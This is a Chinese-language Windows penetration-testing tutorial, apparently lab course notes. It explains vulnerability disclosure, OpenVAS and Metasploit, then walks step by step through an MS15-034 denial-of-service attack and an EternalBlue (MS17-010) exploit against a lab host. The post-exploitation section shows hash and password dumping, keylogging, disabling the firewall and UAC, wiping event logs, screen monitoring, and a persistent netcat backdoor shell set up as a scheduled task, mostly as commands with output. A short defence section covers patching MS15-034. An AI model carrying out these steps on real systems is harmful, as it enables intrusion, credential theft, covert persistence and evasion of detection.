Windows渗透测试

漏洞披露

微软安全公告

安全公告都有一个唯一的编号

  • 其命名规则是:MS年份一补丁序号
  • 比如MS17-010就表示2017年发布的编号为010的安全公告
  • 最后安全公告:MS17-023

每个公告对应微软知识库编号

  • 比如MS17-010对应的是4013389,通过编号在微软的网站上查找到相应的文章和解决方案
  • 找到:基于x64的Windows Server2008 R2版本安全更新文件名为:Windows6.1-KB4012212-x64.msi

微软安全更新指南

微软安全更新指南

什么是CVE

CVE(Common Vulnerabilities and Exposures)通用漏洞与披露

  • CVE可以理解为是一个漏洞字典,也可以称作信息安全漏洞词典
  • CVE是指给每个安全漏洞的确定一个唯一的名称,也叫CVEID 编号
  • http://cve.org 收录189732条记录

漏洞披露平台

国家信息漏洞共享平台

美国国家信息安全漏洞库

漏洞扫描/弱点评估

什么是网络探测

网络探测

  • 网络探测指对计算机网络或DNS服务器进行扫描,获取有效的地址、活动端口号、主机操作系统类型和安全弱点

常用工具

  • Nmap、NessusOpenVAS、MetasploitFramework

网络探测的应用

安全评估

  • 远程系统安全评估是一种非常重要的安全防护方法
  • 包括构成网络的路由器、交换机和提供各种应用的服务器以及个人电脑,都存在着相当数量的漏洞
  • 各种攻击行为正是利用这些漏洞展开的

什么是OpenVAS

OpenVAS(Open Vulnerability Assessment Scanner)

  • 是一个开源的全功能的漏洞扫描评估系统,是Nessus项目分支
  • 功能包括非认证测试、认证测试、各种互联网和工业协议、大规模扫描的性能调整等漏洞库持续更新
  • https://github.com/greenbone/openvas-scanner/

OpenVAS部署

Kali默认没有安装OpenVAS,在线安装并初始化漏洞列表需要3~5小时

  • 解压kali2022_vmx.zip
  • 还原快照至”OpenVAS”
  • IP地址:192.168.10.224

从物理机访问

执行扫描任务

  • 第一步:添加扫描端口
  • 第二步:添加扫描目标
  • 第三步:执行扫描任务
  • 第四步:检查扫描结果

Metasploit Framework

关于Metasploit Framework

一款开源的安全漏检测工具,简称MSF

  • 可以收集信息、探测系统漏洞、执行漏洞利用测试等,为渗透测试、攻击编码和漏洞研究提供了一个可靠平台
  • 集成数千个漏洞利用、辅助测试模块,并保持持续更新
  • 由著名黑客、安全专家H.D.Moore主导开发
  • 官方网站:https://metasploit.com

在kali中,通过msfconsole进入控制台

MSF常用模块

辅助模块Auxiliary

  • 不直接在测试者和目标主机之间建立访问
  • 只负责执行扫描、嗅探、指纹识别、爆破等相关功能以辅助渗透测试

漏洞利用Exploits

  • 利用目标系统、应用或者服务中的安全漏洞进行攻击行为
  • 包括用于破坏系统安全的攻击代码,每个漏洞都有相应的攻击代码

攻击载荷 Payloads

  • 一般是一段代码,被渗透攻击模块通过安全漏洞植入目标主机中并运行,主要用来与目标主机之间建立一个稳定的连接。可返回Shell或进行程序注入等操作后

渗透模块Post

  • 该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、实施跳板攻击等

MSF核心命令

执行msfconsole进入控制台以后

  • ?:获取帮助
  • exit:退出MSF控制台
  • back:返回上一级
  • show:查看模块或相关信息
  • search:搜索模块
  • use:使用模块
  • options:列出当前模块的选项
  • set:设置模块选项
  • run或exploit:运行当前模块

CVE-2015-1635漏洞利用

Windows系统历年高危漏洞

  • CVE-2012-0002(MS12-020)RDP漏洞DOS攻击
  • CVE-2015-1635(MS15-034)HTTP.SYS漏洞攻击
  • CVE-2017-0143(MS17-010)445漏洞永恒之蓝攻击
  • CVE-2019-0708 RDP漏洞攻击

CVE-2015-1635(MS15-034)漏洞

HTTP.sys RCE漏洞

  • 漏洞存在于HTTP协议堆栈(HTTP.sys)中,攻击者只要发送恶意http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃
  • 漏洞名称:CVE-2015-1635(允许远程执行代码漏洞)
  • 漏洞安全公告:MS15-034

影响系统

  • Windows 7/8/8.1
  • Windows Server 2008/2008 R2/2012/2012 R2

POC脚本检测

POC脚本检测

  • Proof of Concept”观点证明”
  • 一段验证漏洞的程序,使我们能够确认这个漏洞是真实存在的

脚本上传

  • 上传cve-2015-1635.poc到kali系统/root目录下

MS15-034漏洞检测

第一步:POC脚本检测

  • 上传cve-2015-1635.poc到kali系统
  • 修改cve-2015-1635.poc文件中的ipaddr为 windows靶机地址
  • 使用python执行POC脚本
1
2
3
[root@kali ~] #  python2  cve-2015-1635.poc          //执行POC验证脚本 
[*] Audit Started //审计开始
[!!] Looks VULN //看起来很脆弱(vulnerable)

第二步:搜索CVE-2015-1635或MS15-034

1
2
3
4
5
6
7
8
9
msf6 > search  ms15-034

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/dos/http/ms15_034_ulonglongadd //攻击
1 auxiliary/scanner/http/ms15_034_http_sys_memory_dump //扫描

第三步:先使用辅助脚本 use 1,先做扫描

1
2
3
4
5
6
msf6 > use 1
msf6 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > set rhosts 192.168.10.142
rhosts => 192.168.10.142
msf6 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > run

[+] Target may be vulnerable... //目标可能是脆弱的

第四步:退出扫描脚本 use 1,切换攻击脚本 use 0

1
2
3
4
5
6
7
8
msf6 > use 0
msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > set rhosts 192.168.10.142
rhosts => 192.168.10.142
msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > run

[*] DOS request sent //DoS请求已发送
[*] Scanned 1 of 1 hosts (100% complete) //扫描1个主机已完成
[*] Auxiliary module execution completed //辅助模块执行完成

检查目标主机是否蓝屏

MS15-034 漏洞防御

第五步:MS15-034漏洞防御-关闭内核缓存

  • 开始菜单 => IIS管理器 => 自己计算机名 => 网站 => Default Web Site => 输出缓存

9.3.1

第六步:关闭内核缓存后,再次发起漏洞利用

  • 再次发起漏洞利用,发现Windows靶机安然无恙,不再蓝屏

第七步:除了关闭内核缓存,也可安装补丁进行漏洞防御

  • 上传Windows6.1-KB3042553-x64-2008R2.msu到Windows靶机
  • 安装完补丁后,系统会重启

CVE-2017-0143漏洞利用

CVE-2017-0143(MS17-010)漏洞

漏洞为外界所知源于勒索病毒的爆发,该病毒利用NSA(美国国家安全局)泄露的网络攻击工具永恒之蓝(Eternal Blue)改造而成

  • 漏洞通过TCP的445和139端口,利用SMB远程代码执行漏洞
  • 攻击者可以在目标系统上执行任意代码

影响系统

  • Windows7/8/8.1/10
  • WindowsServer2008/2012/2016

MS17-010漏洞利用

准备Windows靶机

第一步:漏洞扫描,使用脚本3进行漏洞扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿kali)-[~]
└─# msfconsole -q
msf6 > search ms17-010

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution

msf6 > use 3
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.10.142
rhosts => 192.168.10.142
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 192.168.10.142:445 - Host is likely VULNERABLE to MS17-010! //容易遭受MS17-010的攻击

第二步:漏洞利用,建立反弹连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
msf6 > use 0                             //使用攻击脚本
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.10.142
rhosts => 192.168.10.142
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

......

//Meterpreter作为攻击载荷使用,以便后渗透操作
meterpreter > hashdump //获取用户和密码
Administrator:500:aad3b435b51404eeaad3b435b51404ee:531b3ca954d0e442e64a5815b6794c32:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM //获取用户信息

使用hashdump命令导出SAM账号数据

复制冒号分隔的第4段内容,可用于MD5解密

获取账户信息

第三步:加载kiwi模块,通过kiwi模块获取用户口令

1
2
3
4
5
6
7
8
9
10
11
12
meterpreter > load kiwi                 //加载kiwi
Loading extension kiwi...
Success.

meterpreter > creds_all //读取系统中的账户信息
[+] Running as SYSTEM

Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator WIN-5MQI51VLCDC ntd.cn123
WIN-5MQI51VLCDC$ WORKGROUP (null)

进程迁移

第四步:进程迁移,与稳定进程绑定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
meterpreter > ps -S explorer.exe             //查找explorer进程
Filtering on 'explorer.exe'

Process List
============

PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
2600 2580 explorer.exe x64 1 WIN-5MQI51VLCDC\Administrator C:\Windows\Explorer.EXE

meterpreter > migrate 2600 //进程迁移到explorer进程上
[*] Migrating from 1092 to 2600...
[*] Migration completed successfully.
meterpreter > getuid //获取用户信息
Server username: WIN-5MQI51VLCDC\Administrator

键盘记录

第五步:开启键盘记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
meterpreter > run post/windows/capture/keylog_recorder 
[*] Keystrokes being saved in to /root/.msf4/loot/20231227143932_default_192.168.10.142_host.windows.key_497385.txt

//在win2008中打开记事本,输入任意内容
//在kali中重新打开一个终端

┌──(root㉿kali)-[~]
└─# cat /root/.msf4/loot/20231227143932_default_192.168.10.142_host.windows.key_497385.txt
Keystroke log from explorer.exe on WIN-5MQI51VLCDC with user WIN-5MQI51VLCDC\Administrator started at 2023-12-27 14:39:32 +0800

user
<Caps Lock>A<Caps Lock>dministrator
<Caps Lock>T<Caps Lock>edu
.cn123<^S>

防火墙配置

第六步:添加规则backdoor,开放端口444

1
2
3
4
5
6
7
8
meterpreter > shell      //进入命令行

C:\Windows\system32>netsh advfirewall set allprofiles state off //关闭防火墙

C:\Windows\system32>netsh advfirewall set allprofiles state on //开启防火墙

C:\Windows\system32>netsh firewall add portopening tcp 444 backdoor enable all
//添加入站规则,规则名backdoor 协议 tcp 端口 444

第七步:在win2008中查看防火墙

9.3.2

关闭用户账户控制

第八步:操作注册表关闭UAC

  • UAC:User Account Control用户帐户控制,是windows操作系统中一种安全控制机制,使用UAC,可以防止未经授权应用程序的自动安装,阻止恶意程序
  • ADD添加一个注册表项
  • /v创建键值 /t键值类型 /d 键值的值 /f强制覆盖
1
C:\Windows\system32> reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

清除目标主机的日志

使用clearev命令

  • 完成清除以后,目标主机的安全日志为空
1
2
3
4
meterpreter > clearev 
[*] Wiping 519 records from Application...
[*] Wiping 2049 records from System...
[*] Wiping 1225 records from Security...

9.3.3

监控主机

使用screenshot拍摄主机当前状态

使用screenshare监控主机画面

1
2
3
4
5
6
7
meterpreter > screenshot 
Screenshot saved to: /root/AKDYyBKA.jpeg

meterpreter > screenshare
[*] Preparing player...
[*] Opening player at: /root/tiUhUAUW.html
[*] Streaming...

持久性后门程序

瑞士军刀

NC:(netcat)

  • 被称为网络工具中的瑞士军刀,体积小巧,但功能强大
  • NC主要功能可以在两台设备上面相互交互,即侦听模式/传输模式

环境准备

  • 靶机:Windows

添加NC后门

第一步:上传nc.exe后门文件

  • 上传后门程序nc.exe到Windows靶机
1
2
3
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
[*] uploading : /usr/share/windows-binaries/nc.exe -> C:\windows\system32
[*] uploaded : /usr/share/windows-binaries/nc.exe -> C:\windows\system32\nc.exe
  • 查看上传结果及权限
1
2
meterpreter > ls nc.exe
100777/rwxrwxrwx 59392 fil 2023-12-27 17:31:09 +0800 nc.exe

第二步:将nc.exe添加开机启动,监听TCP 444端口

  • 以”计划任务”方式,开机自启
1
2
3
4
5
6
C:\Windows\system32>chcp 65001            //修改编码,防止乱码
chcp 65001
Active code page: 65001

C:\Windows\system32>schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart
//制订计划任务

查看后门任务计划

打开windows靶机”计划任务” ,查看nc后门配置

9.3.4

使用后门

第三步:使用nc进行后门连接

  • 重启Windows靶机,不用登录
1
2
3
4
5
6
┌──(root㉿kali)-[~]
└─# nc 192.168.10.142 444 //使用nc建立连接

C:\Windows\system32>hostname //查看主机名
hostname
WIN-5MQI51VLCDC